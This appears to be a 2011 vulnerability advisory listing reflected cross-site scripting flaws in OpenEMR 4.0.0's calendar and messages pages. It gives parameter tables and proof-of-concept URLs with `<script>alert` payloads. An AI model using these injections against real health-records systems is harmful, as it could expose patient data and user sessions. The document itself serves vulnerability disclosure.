# Exploit Title: OpenEMR 4.0.0 Multiple Cross Site Scripting (XSS)
# Author: Houssam Sahli => backtronux<at>gmail<.>com

# Date : August 3rd 2011
# Product: OpenEMR 4.0.0 
# Vulnerable Version: 4.0.0(with the 2nd patch 04/15/2011)
# Developer : OEMR
# Download & Installation instructions link : http://open-emr.org/download.shtml
# Vulnerability Type: Cross Site Scripting (XSS)
# Risk level: High
# Status: Not Fixed, Vendor Not Alerted
# Remark : notice that these vulnerabilities are not fixed with the 2nd patch of 04/15/2011
# Tested On : Windows XP SP3

Summary : 
--------
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC modular "Meaningful Use" certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms.


Vunerabilities : 
---------------
User can execute arbitrary JavaScript code within the vulnerable application, vulnerabilities are detailed below :

1 - Request: http://localhost/openemr/interface/main/calendar/index.php
    Source: Form (theform)    
    Method: POST

Parameter Name    Parameter Type          Severity
tplview            GET                    High
pc_category        GET                   High
pc_topic            GET                    High

2 - Request: http://localhost/openemr/interface/main/calendar/index.php
    Source: Reference of: a
    Method: GET

Parameter Name    Parameter Type          Severity
tplview            GET                    High
pc_category        GET                   High
pc_topic            GET                    High

3 - Request: http://localhost/openemr/interface/main/messages/messages.php
    Source: Form (new_note)
    Method: POST

Parameter Name    Parameter Type          Severity
sortby            GET                    High
sortorder         GET                   High
begin             GET                    High
noteid              POST                    High

4 - Request: http://localhost/openemr/interface/main/messages/messages.php
    Source: Reference of: a
    Method: GET

Parameter Name    Parameter Type          Severity
sortby            GET                    High
sortorder         GET                   High


PoC :
----
   http://localhost/openemr/interface/main/calendar/index.php?tplview='<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/calendar/index.php?pc_category='<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script>
   http://localhost/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<">